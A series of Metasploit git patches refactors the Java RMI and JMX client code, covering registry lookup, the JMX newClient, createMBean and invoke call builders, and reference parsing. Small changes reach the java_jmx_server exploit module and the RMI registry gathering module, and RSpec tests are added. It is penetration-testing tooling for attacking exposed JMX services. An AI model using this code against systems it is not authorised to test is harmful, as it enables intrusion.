11:44:26 -0500 Subject: [PATCH 31/58] Make code consistent --- lib/msf/java/rmi/client/jmx/server.rb | 10 +++- lib/msf/java/rmi/client/jmx/server/parser.rb | 45 ++--------------- lib/msf/java/rmi/client/registry.rb | 20 +++++++- lib/msf/java/rmi/client/registry/parser.rb | 50 +------------------ lib/msf/java/rmi/util.rb | 23 +++++++++ lib/rex/proto/rmi/model/return_value.rb | 2 +- modules/auxiliary/gather/java_rmi_registry.rb | 15 +++++- .../exploits/multi/misc/java_jmx_server.rb | 5 +- 8 files changed, 71 insertions(+), 99 deletions(-) diff --git a/lib/msf/java/rmi/client/jmx/server.rb b/lib/msf/java/rmi/client/jmx/server.rb index b753a612ab..7323a4b5f4 100644 --- a/lib/msf/java/rmi/client/jmx/server.rb +++ b/lib/msf/java/rmi/client/jmx/server.rb @@ -36,9 +36,15 @@ module Msf raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name end - ref = parse_jmx_new_client(return_value) + remote_object = return_value.get_class_name - ref + unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + return nil + end + + reference = parse_jmx_new_client_endpoint(return_value) + + reference end end end diff --git a/lib/msf/java/rmi/client/jmx/server/parser.rb b/lib/msf/java/rmi/client/jmx/server/parser.rb index d65e99858d..e9d37603e5 100644 --- a/lib/msf/java/rmi/client/jmx/server/parser.rb +++ b/lib/msf/java/rmi/client/jmx/server/parser.rb @@ -7,33 +7,6 @@ module Msf module Jmx module Server module Parser - - # Parses a java.rmi.registry.Registry.lookup() return value to find out - # the remote object bound. - # - # @param return_value [Rex::Proto::Rmi::Model::ReturnValue] - # @return [String, NilClass] The remote object name if success, nil otherwise - def parse_jmx_new_client(return_value) - return_object = '' - - case return_value.value[0].class_desc.description - when Rex::Java::Serialization::Model::NewClassDesc - return_object = return_value.value[0].class_desc.description.class_name.contents - when Rex::Java::Serialization::Model::ProxyClassDesc - return_object = return_value.value[0].class_desc.description.interfaces[0].contents - else - return nil - end - - unless return_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' - return nil - end - - ref = parse_jmx_new_client_endpoint(return_value) - - ref - end - # Parses a java.rmi.registry.Registry.lookup() return value to find out # the remote reference information. # @@ -42,28 +15,16 @@ module Msf def parse_jmx_new_client_endpoint(return_value) values_size = return_value.value.length end_point_block_data = return_value.value[values_size - 2] + unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) return nil end return_io = StringIO.new(end_point_block_data.contents, 'rb') - ref = extract_string(return_io) - unless ref && ref == 'UnicastRef' - return nil - end + reference = extract_reference(return_io) - address = extract_string(return_io) - return nil unless address - - port = extract_int(return_io) - return nil unless port - - object_number = extract_long(return_io) - - uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(return_io) - - {address: address, port: port, object_number: object_number, uid: uid} + reference end end end diff --git a/lib/msf/java/rmi/client/registry.rb b/lib/msf/java/rmi/client/registry.rb index 732a59b819..f3c1195580 100644 --- a/lib/msf/java/rmi/client/registry.rb +++ b/lib/msf/java/rmi/client/registry.rb @@ -27,7 +27,15 @@ module Msf sock: opts[:sock] || sock ) - remote_object = parse_registry_lookup(return_value) + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + remote_object = return_value.get_class_name if remote_object.nil? return nil @@ -39,7 +47,7 @@ module Msf return nil end - {object: remote_object}.merge(remote_location) + remote_location.merge(object: remote_object) end # Sends a Registry list call to the RMI endpoint @@ -58,6 +66,14 @@ module Msf sock: opts[:sock] || sock ) + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + names = parse_registry_list(return_value) names diff --git a/lib/msf/java/rmi/client/registry/parser.rb b/lib/msf/java/rmi/client/registry/parser.rb index bdc827d8f1..82d9af7d21 100644 --- a/lib/msf/java/rmi/client/registry/parser.rb +++ b/lib/msf/java/rmi/client/registry/parser.rb @@ -6,41 +6,12 @@ module Msf module Client module Registry module Parser - - # Parses a java.rmi.registry.Registry.lookup() return value to find out - # the remote object bound. - # - # @param return_value [Rex::Proto::Rmi::Model::ReturnValue] - # @return [String, NilClass] The remote object name if success, nil otherwise - def parse_registry_lookup(return_value) - if return_value.nil? || return_value.is_exception? - return nil - end - - unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject) - return nil - end - - case return_value.value[0].class_desc.description - when Rex::Java::Serialization::Model::NewClassDesc - return return_value.value[0].class_desc.description.class_name.contents - when Rex::Java::Serialization::Model::ProxyClassDesc - return return_value.value[0].class_desc.description.interfaces[0].contents - else - return nil - end - end - # Parses a java.rmi.registry.Registry.lookup() return value to find out # the remote reference information. # # @param return_value [Rex::Java::Serialization::Model::ReturnValue] # @return [Hash, NilClass] The remote interface information if success, nil otherwise def parse_registry_lookup_endpoint(return_value) - if return_value.nil? || return_value.is_exception? - return nil - end - values_size = return_value.value.length end_point_block_data = return_value.value[values_size - 2] unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) @@ -49,22 +20,9 @@ module Msf return_io = StringIO.new(end_point_block_data.contents, 'rb') - ref = extract_string(return_io) - unless ref && ref == 'UnicastRef' - return nil - end + reference = extract_reference(return_io) - address = extract_string(return_io) - return nil unless address - - port = extract_int(return_io) - return nil unless port - - object_number = extract_long(return_io) - - uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(return_io) - - {address: address, port: port, object_number: object_number, uid: uid} + reference end # Parses a java.rmi.registry.Registry.list() return value to find out @@ -73,10 +31,6 @@ module Msf # @param return_value [Rex::Java::Serialization::Model::ReturnValue] # @return [Array, NilClass] The list of names registered if success, nil otherwise def parse_registry_list(return_value) - if return_value.nil? || return_value.is_exception? - return nil - end - unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray) return nil end diff --git a/lib/msf/java/rmi/util.rb b/lib/msf/java/rmi/util.rb index 41ffef5093..8c03fc6e71 100644 --- a/lib/msf/java/rmi/util.rb +++ b/lib/msf/java/rmi/util.rb @@ -91,6 +91,29 @@ module Msf int end + + # Extract an RMI interface reference from an IO + # + # @param io [IO] the io to extract the reference from + # @return [Hash, nil] the extracted reference if success, nil otherwise + def extract_reference(io) + ref = extract_string(io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(io) + return nil unless address + + port = extract_int(io) + return nil unless port + + object_number = extract_long(io) + + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io) + + {address: address, port: port, object_number: object_number, uid: uid} + end end end end diff --git a/lib/rex/proto/rmi/model/return_value.rb b/lib/rex/proto/rmi/model/return_value.rb index ffb40c7229..82174d3519 100644 --- a/lib/rex/proto/rmi/model/return_value.rb +++ b/lib/rex/proto/rmi/model/return_value.rb @@ -64,7 +64,7 @@ module Rex # # @return [String, NilClass] the returned value class, nil if errors def get_class_name - unless value[0] && value[0].class == Rex::Java::Serialization::Model::NewObject + unless value[0] && value[0].is_a?(Rex::Java::Serialization::Model::NewObject) return nil end diff --git a/modules/auxiliary/gather/java_rmi_registry.rb b/modules/auxiliary/gather/java_rmi_registry.rb index d467a6046c..4e2c13c839 100644 --- a/modules/auxiliary/gather/java_rmi_registry.rb +++ b/modules/auxiliary/gather/java_rmi_registry.rb @@ -46,7 +46,13 @@ class Metasploit3 < Msf::Auxiliary end print_status("#{peer} - Listing names in the Registry...") - names = send_registry_list + + begin + names = send_registry_list + rescue ::Rex::Proto::Rmi::Exception => e + print_error("#{peer} - List raised exception #{e.message}") + return + end if names.nil? print_error("#{peer} - Failed to list names") @@ -62,7 +68,12 @@ class Metasploit3 < Msf::Auxiliary names.each do |name| - remote_reference = send_registry_lookup(name: name) + begin + remote_reference = send_registry_lookup(name: name) + rescue ::Rex::Proto::Rmi::Exception => e + print_error("#{peer} - Lookup of #{name} raised exception #{e.message}") + next + end if remote_reference.nil? print_error("#{peer} - Failed to lookup #{name}") diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 1690f8fa94..ac9149118a 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -53,7 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options([ Opt::RPORT(1617), Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), - Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) + Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']), + Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi']) ], self.class) end @@ -178,7 +179,7 @@ class Metasploit3 < Msf::Exploit::Remote end def discover_endpoint - ref = send_registry_lookup(name: 'jmxrmi') + ref = send_registry_lookup(name: datastore['JMXRMI']) return nil if ref.nil? unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub' From 7c0e17d1f779f6aa6d30331b1554854927a635cc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 12:29:40 -0500 Subject: [PATCH 32/58] Update RMI/JMX mixin documentation --- lib/msf/java/rmi/client/jmx/connection.rb | 30 ++++++++ .../java/rmi/client/jmx/connection/builder.rb | 70 +++++++++++++------ lib/msf/java/rmi/client/jmx/server.rb | 9 ++- lib/msf/java/rmi/client/jmx/server/builder.rb | 11 +-- lib/msf/java/rmi/client/jmx/server/parser.rb | 4 +- lib/msf/java/rmi/client/registry.rb | 10 ++- lib/msf/java/rmi/client/registry/builder.rb | 4 +- lib/msf/java/rmi/client/registry/parser.rb | 4 +- lib/msf/java/rmi/util.rb | 5 +- 9 files changed, 109 insertions(+), 38 deletions(-) diff --git a/lib/msf/java/rmi/client/jmx/connection.rb b/lib/msf/java/rmi/client/jmx/connection.rb index 478cf90ca8..c3df91cabf 100644 --- a/lib/msf/java/rmi/client/jmx/connection.rb +++ b/lib/msf/java/rmi/client/jmx/connection.rb @@ -5,11 +5,23 @@ module Msf module Rmi module Client module Jmx + # This mixin provides methods to simulate calls to the Java + # javax/management/remote/rmi/RMIConnectionImpl_Stub + # interface module Connection require 'msf/java/rmi/client/jmx/connection/builder' include Msf::Java::Rmi::Client::Jmx::Connection::Builder + # Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call + # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [TrueClass, NilClass] true if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance def send_jmx_get_object_instance(opts = {}) send_call( sock: opts[:sock] || sock, @@ -35,6 +47,15 @@ module Msf true end + # Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call + # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [TrueClass, NilClass] true if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean def send_jmx_create_mbean(opts = {}) send_call( sock: opts[:sock] || sock, @@ -60,6 +81,15 @@ module Msf true end + # Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call + # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [TrueClass, NilClass] true if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_invoke def send_jmx_invoke(opts = {}) send_call( sock: opts[:sock] || sock, diff --git a/lib/msf/java/rmi/client/jmx/connection/builder.rb b/lib/msf/java/rmi/client/jmx/connection/builder.rb index 3bca70508e..62baa9cfe1 100644 --- a/lib/msf/java/rmi/client/jmx/connection/builder.rb +++ b/lib/msf/java/rmi/client/jmx/connection/builder.rb @@ -7,11 +7,12 @@ module Msf module Jmx module Connection module Builder - # Builds an RMI call to java.rmi.registry.Registry.lookup() used to - # retrieve the remote reference bound to a name. + + # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() + # used to retrieve an MBean instance # # @param opts [Hash] - # @option opts [String] :name the name to lookup + # @option opts [String] :name the MBean name # @return [Rex::Proto::Rmi::Model::Call] # @see Msf::Java::Rmi::Builder.build_call def build_jmx_get_object_instance(opts = {}) @@ -36,7 +37,12 @@ module Msf call end - # javax.management.ObjectName $param_ObjectName_1, javax.security.auth.Subject $param_Subject_2 + # Builds an an array of arguments o build a call to + # javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Array] def build_jmx_get_object_instance_args(name = '') builder = Rex::Java::Serialization::Builder.new @@ -56,9 +62,13 @@ module Msf arguments end - - #// implementation of createMBean(String, ObjectName, Subject) - #public javax.management.ObjectInstance createMBean(java.lang.String $param_String_1, javax.management.ObjectName $param_ObjectName_2, javax.security.auth.Subject $param_Subject_3) + # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() + # used to retrieve an MBean instance + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call def build_jmx_create_mbean(opts = {}) name = opts[:name] || '' object_number = opts[:object_number] || 0 @@ -81,7 +91,12 @@ module Msf call end - #(String, ObjectName, Subject) + # Builds an an array of arguments o build a call to + # javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Array] def build_jmx_create_mbean_args(name = '') arguments = [ Rex::Java::Serialization::Model::Utf.new(nil, name), @@ -94,8 +109,14 @@ module Msf end - #implementation of invoke(ObjectName, String, MarshalledObject, String[], Subject) - #public java.lang.Object invoke(javax.management.ObjectName $param_ObjectName_1, java.lang.String $param_String_2, java.rmi.MarshalledObject $param_MarshalledObject_3, java.lang.String[] $param_arrayOf_String_4, javax.security.auth.Subject $param_Subject_5) def build_jmx_invoke(opts = {}) + # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # used to invoke an MBean method + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call + # @see #build_jmx_invoke_args def build_jmx_invoke(opts = {}) object_number = opts[:object_number] || 0 uid_number = opts[:uid_number] || 0 @@ -117,7 +138,14 @@ module Msf call end - #(ObjectName, String, MarshalledObject, String[], Subject) + # Builds an an array of arguments o build a call to + # javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # + # @param opts [Hash] + # @option opts [String] :object the MBean name + # @option opts [String] :method the method name + # @option opts [Hash] :args the method arguments + # @return [Array] def build_jmx_invoke_args(opts = {}) object_name = opts[:object] || '' method_name = opts[:method] || '' @@ -142,15 +170,15 @@ module Msf name: 'java.rmi.MarshalledObject', serial: 0x7cbd1e97ed63fc3e, # serialVersionUID fields: [ - ['int', 'hash'], - ['array', 'locBytes', '[B'], - ['array', 'objBytes', '[B'] - ], + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], data: [ - ["int", 1919492550], - Rex::Java::Serialization::Model::NullReference.new, - data_binary - ] + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] ) new_array = builder.new_array( @@ -174,7 +202,8 @@ module Msf end # Builds a Rex::Java::Serialization::Model::Stream with the arguments to - # simulate a call to the Java invoke method method. + # simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # method. # # @param args [Hash] the arguments of the method to invoke # @return [Rex::Java::Serialization::Model::Stream] @@ -194,7 +223,6 @@ module Msf stream end - end end end diff --git a/lib/msf/java/rmi/client/jmx/server.rb b/lib/msf/java/rmi/client/jmx/server.rb index 7323a4b5f4..684af82cc2 100644 --- a/lib/msf/java/rmi/client/jmx/server.rb +++ b/lib/msf/java/rmi/client/jmx/server.rb @@ -12,12 +12,15 @@ module Msf include Msf::Java::Rmi::Client::Jmx::Server::Builder include Msf::Java::Rmi::Client::Jmx::Server::Parser - # Sends a Registry lookup call to the RMI endpoint + # Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call + # to the Java javax/management/remote/rmi/RMIServer_Stub#newClient() + # method. # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock - # @return [Hash, NilClass] The remote reference information if success, nil otherwise - # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup + # @return [Hash, NilClass] The connection information if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_new_client def send_new_client(opts = {}) send_call( sock: opts[:sock] || sock, diff --git a/lib/msf/java/rmi/client/jmx/server/builder.rb b/lib/msf/java/rmi/client/jmx/server/builder.rb index 7df2bfd517..59b5e4e2d1 100644 --- a/lib/msf/java/rmi/client/jmx/server/builder.rb +++ b/lib/msf/java/rmi/client/jmx/server/builder.rb @@ -8,11 +8,12 @@ module Msf module Server module Builder - # Builds an RMI call to java.rmi.registry.Registry.lookup() used to - # retrieve the remote reference bound to a name. + # Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient() + # used to enumerate the names bound in a registry # # @param opts [Hash] - # @option opts [String] :name the name to lookup + # @option opts [String] :username the JMX role to establish the connection if needed + # @option opts [String] :password the JMX password to establish the connection if needed # @return [Rex::Proto::Rmi::Model::Call] # @see Msf::Java::Rmi::Builder.build_call def build_jmx_new_client(opts = {}) @@ -43,11 +44,11 @@ module Msf end # Builds a Rex::Java::Serialization::Model::NewArray with credentials - # to make an authenticated handshake + # to make an javax/management/remote/rmi/RMIServer_Stub#newClient call # # @param username [String] The username (role) to authenticate with # @param password [String] The password to authenticate with - # @return [Rex::Java::Serialization::Model::NewArray] + # @return [Array] def build_jmx_new_client_args(username = '', password = '') builder = Rex::Java::Serialization::Builder.new diff --git a/lib/msf/java/rmi/client/jmx/server/parser.rb b/lib/msf/java/rmi/client/jmx/server/parser.rb index e9d37603e5..efe45056d5 100644 --- a/lib/msf/java/rmi/client/jmx/server/parser.rb +++ b/lib/msf/java/rmi/client/jmx/server/parser.rb @@ -7,8 +7,8 @@ module Msf module Jmx module Server module Parser - # Parses a java.rmi.registry.Registry.lookup() return value to find out - # the remote reference information. + # Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value + # to find out the remote reference information. # # @param return_value [Rex::Java::Serialization::Model::ReturnValue] # @return [Hash, NilClass] The remote interface information if success, nil otherwise diff --git a/lib/msf/java/rmi/client/registry.rb b/lib/msf/java/rmi/client/registry.rb index f3c1195580..997d49bab0 100644 --- a/lib/msf/java/rmi/client/registry.rb +++ b/lib/msf/java/rmi/client/registry.rb @@ -4,6 +4,8 @@ module Msf module Java module Rmi module Client + # This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub + # interface module Registry require 'msf/java/rmi/client/registry/builder' require 'msf/java/rmi/client/registry/parser' @@ -11,11 +13,13 @@ module Msf include Msf::Java::Rmi::Client::Registry::Builder include Msf::Java::Rmi::Client::Registry::Parser - # Sends a Registry lookup call to the RMI endpoint + # Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java + # java/rmi/registry/RegistryImpl_Stub#lookup() method. # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock # @return [Hash, NilClass] The remote reference information if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup def send_registry_lookup(opts = {}) send_call( @@ -50,11 +54,13 @@ module Msf remote_location.merge(object: remote_object) end - # Sends a Registry list call to the RMI endpoint + # Sends a Registry list call to the RMI endpoint. Simulates a call to the Java + # java/rmi/registry/RegistryImpl_Stub#list() method # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock # @return [Array, NilClass] The set of names if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_list def send_registry_list(opts = {}) send_call( diff --git a/lib/msf/java/rmi/client/registry/builder.rb b/lib/msf/java/rmi/client/registry/builder.rb index 66723c660f..338f800ecb 100644 --- a/lib/msf/java/rmi/client/registry/builder.rb +++ b/lib/msf/java/rmi/client/registry/builder.rb @@ -7,7 +7,7 @@ module Msf module Registry module Builder - # Builds an RMI call to java.rmi.registry.Registry.lookup() used to + # Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to # retrieve the remote reference bound to a name. # # @param opts [Hash] @@ -34,7 +34,7 @@ module Msf call end - # Builds an RMI call to java.rmi.registry.Registry.list() used to + # Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to # enumerate the names bound in a registry # # @param opts [Hash] diff --git a/lib/msf/java/rmi/client/registry/parser.rb b/lib/msf/java/rmi/client/registry/parser.rb index 82d9af7d21..9ed55c0f2d 100644 --- a/lib/msf/java/rmi/client/registry/parser.rb +++ b/lib/msf/java/rmi/client/registry/parser.rb @@ -6,7 +6,7 @@ module Msf module Client module Registry module Parser - # Parses a java.rmi.registry.Registry.lookup() return value to find out + # Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out # the remote reference information. # # @param return_value [Rex::Java::Serialization::Model::ReturnValue] @@ -25,7 +25,7 @@ module Msf reference end - # Parses a java.rmi.registry.Registry.list() return value to find out + # Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out # the list of names registered. # # @param return_value [Rex::Java::Serialization::Model::ReturnValue] diff --git a/lib/msf/java/rmi/util.rb b/lib/msf/java/rmi/util.rb index 8c03fc6e71..8f6515974b 100644 --- a/lib/msf/java/rmi/util.rb +++ b/lib/msf/java/rmi/util.rb @@ -94,8 +94,11 @@ module Msf # Extract an RMI interface reference from an IO # - # @param io [IO] the io to extract the reference from + # @param io [IO] the io to extract the reference from, should contain the data + # inside a BlockData with the reference information. # @return [Hash, nil] the extracted reference if success, nil otherwise + # @see Msf::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint + # @see Msf::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint def extract_reference(io) ref = extract_string(io) unless ref && ref == 'UnicastRef' From 6ea42f659997e8eb632bb35e5dc1f9c5f84c47ab Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 12:30:27 -0500 Subject: [PATCH 33/58] Fix description --- lib/rex/proto/rmi/model/return_value.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/proto/rmi/model/return_value.rb b/lib/rex/proto/rmi/model/return_value.rb index 82174d3519..2077c0859e 100644 --- a/lib/rex/proto/rmi/model/return_value.rb +++ b/lib/rex/proto/rmi/model/return_value.rb @@ -62,7 +62,7 @@ module Rex # The object/exception class of the returned value # - # @return [String, NilClass] the returned value class, nil if errors + # @return [String, NilClass] the returned value class, nil it cannot be retrieved def get_class_name unless value[0] && value[0].is_a?(Rex::Java::Serialization::Model::NewObject) return nil From 0a07bb4d1730d8f5c1fa53028a3e9e4f69da5322 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 15:08:59 -0500 Subject: [PATCH 34/58] Add a couple of specs for Rex::Proto::Rmi::Model::ReturnValue --- spec/lib/rex/proto/rmi/model/return_value_spec.rb | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/spec/lib/rex/proto/rmi/model/return_value_spec.rb b/spec/lib/rex/proto/rmi/model/return_value_spec.rb index b4c4ac6cb1..371ca04e71 100644 --- a/spec/lib/rex/proto/rmi/model/return_value_spec.rb +++ b/spec/lib/rex/proto/rmi/model/return_value_spec.rb @@ -63,7 +63,6 @@ describe Rex::Proto::Rmi::Model::ReturnValue do return_value.decode(return_value_stream_io) expect(return_value.value[0].class_desc.description.class_name.contents).to eq('java.rmi.dgc.Lease') end - end describe "#encode" do @@ -72,4 +71,18 @@ describe Rex::Proto::Rmi::Model::ReturnValue do expect(return_value.encode).to eq(return_value_stream) end end + + describe "#is_exception?" do + it "return false unless the return value is an exception" do + return_value.decode(return_value_stream_io) + expect(return_value.is_exception?).to be_falsey + end + end + + describe "#get_class_name" do + it "returns the class name of the object in the return value" do + return_value.decode(return_value_stream_io) + expect(return_value.get_class_name).to eq('java.rmi.dgc.Lease') + end + end end From 48026da35ff353d56e136c96ec6d203bccf7d5d2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 15:14:36 -0500 Subject: [PATCH 35/58] Fix RMI specs --- spec/lib/msf/java/rmi/client/registry/parser_spec.rb | 6 ------ spec/lib/msf/java/rmi/client_spec.rb | 2 +- 2 files changed, 1 insertion(+), 7 deletions(-) diff --git a/spec/lib/msf/java/rmi/client/registry/parser_spec.rb b/spec/lib/msf/java/rmi/client/registry/parser_spec.rb index 72107e3536..d137b9d034 100644 --- a/spec/lib/msf/java/rmi/client/registry/parser_spec.rb +++ b/spec/lib/msf/java/rmi/client/registry/parser_spec.rb @@ -61,12 +61,6 @@ describe Msf::Java::Rmi::Client::Registry::Parser do let(:names) { ['jmxrmi'] } - describe "#parse_registry_lookup" do - it "returns the remote object" do - expect(mod.parse_registry_lookup(lookup_return)).to eq(remote_object) - end - end - describe "#parse_registry_lookup_endpoint" do it "returns the remote reference information in a Hash" do expect(mod.parse_registry_lookup_endpoint(lookup_return)).to be_a(Hash) diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb index 0669e5fd1d..4e6b362e80 100644 --- a/spec/lib/msf/java/rmi/client_spec.rb +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -86,7 +86,7 @@ describe Msf::Java::Rmi::Client do describe "#recv_return" do context "when end point returns a value to the call" do it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.recv_return(sock: return_io)).to be_a(Rex::Java::Serialization::Model::Stream) + expect(mod.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue) end end From 87cac6fd5579e00b6f8d17d34cb1dabd9dc3999a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 15:41:32 -0500 Subject: [PATCH 36/58] Complete specs for Msf::Java::Rmi::Util --- spec/lib/msf/java/rmi/util_spec.rb | 89 ++++++++++++++++++++++++++++++ 1 file changed, 89 insertions(+) diff --git a/spec/lib/msf/java/rmi/util_spec.rb b/spec/lib/msf/java/rmi/util_spec.rb index 04799ff3d4..11a15f8c20 100644 --- a/spec/lib/msf/java/rmi/util_spec.rb +++ b/spec/lib/msf/java/rmi/util_spec.rb @@ -50,6 +50,36 @@ describe Msf::Java::Rmi::Util do 0xf6b6898d8bf28643 end + let(:empty) { '' } + let(:empty_io) { StringIO.new(empty) } + let(:string) { "\x00\x04\x41\x42\x43\x44" } + let(:string_io) { StringIO.new(string) } + let(:int) { "\x00\x00\x00\x04" } + let(:int_io) { StringIO.new(int) } + + let(:contents_unicast_ref) do + "\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" + + "\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" + + "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" + + "\xdf\xd4\x57\x7e\x80\x01\x01" + end + + let(:unicast_ref_io) do + StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents) + end + + let(:ref_address) { '172.16.158.131' } + let(:ref_port) { 3057 } + let(:ref_object_number) { 6085704671348084379 } + + let(:unicast_ref) do + { + :address => '172.16.158.131', + :object_number => 6085704671348084379, + :port => 3057 + } + end + describe "#calculate_interface_hash" do context "when an example interface is provided" do it "generates a correct interface hash" do @@ -69,5 +99,64 @@ describe Msf::Java::Rmi::Util do expect(mod.calculate_method_hash(method_signature)).to eq(method_hash) end end + + describe "#extract_string" do + context "when io contains a valid string" do + it "returns the string" do + expect(mod.extract_string(string_io)).to eq('ABCD') + end + end + + context "when io doesn't contain a valid string" do + it "returns nil" do + expect(mod.extract_string(empty_io)).to be_nil + end + end + end + + describe "#extract_int" do + context "when io contains a valid int" do + it "returns the string" do + expect(mod.extract_int(int_io)).to eq(4) + end + end + + context "when io doesn't contain a valid int" do + it "returns nil" do + expect(mod.extract_int(empty_io)).to be_nil + end + end + end + + describe "#extract_reference" do + context "when empty io" do + it "returns nil" do + expect(mod.extract_reference(empty_io)). to be_nil + end + end + + context "when valid io" do + it "returns a hash" do + expect(mod.extract_reference(unicast_ref_io)).to be_a(Hash) + end + + it "returns a hash containing the address where the remote interface listens" do + expect(mod.extract_reference(unicast_ref_io)[:address]).to eq(ref_address) + end + + it "returns a hash containing the port where the remote interface listens" do + expect(mod.extract_reference(unicast_ref_io)[:port]).to eq(ref_port) + end + + it "returns a hash containing the object number of the remote interface" do + expect(mod.extract_reference(unicast_ref_io)[:object_number]).to eq(ref_object_number) + end + + it "returns a hash containing the extracted unique identifier" do + expect(mod.extract_reference(unicast_ref_io)[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier) + end + end + end + end From 82d545850e5004432baeea70cba6b96a6fae0336 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 